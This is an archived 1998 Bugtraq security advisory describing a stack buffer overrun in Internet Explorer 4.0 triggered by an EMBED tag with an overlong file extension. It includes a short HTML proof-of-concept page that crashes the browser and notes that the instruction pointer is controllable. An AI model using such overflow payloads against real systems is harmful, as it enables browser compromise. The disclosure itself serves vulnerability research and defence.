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TUCoPS :: Browsers :: msie4fno.txt

Another MSIE 4.0 filename overflow





Date: Fri, 20 Mar 1998 12:09:46 +0200
From: Georgi Guninski <guninski@hotmail.com>
To: BUGTRAQ@NETSPACE.ORG
Subject: MSIE buffer overrun

Microsoft Internet Explorer 4.0 (don't know for other versions)
can be crashed and eventually made execute arbitrary code
with a little help of the <EMBED> tag.

The following:
<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0.
It seems that the long file extension causes stack overrun.

The stack is smashed - full with our values, EIP is also ours and CS=SS.
So probably a string could be constructed, executing code at the
client's machine.

Solution: Do not browse hostile pages.
To try this: http://www.geocities.com/ResearchTriangle/1711/msie.html

Georgi Guninski
http://www.geocities.com/ResearchTriangle/1711

-----------------------cut here and save as
crashmsie.html---------------------
<HTML>
Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
                                                               40
80                                                                               160                    170                 180                 190          200
</HTML>



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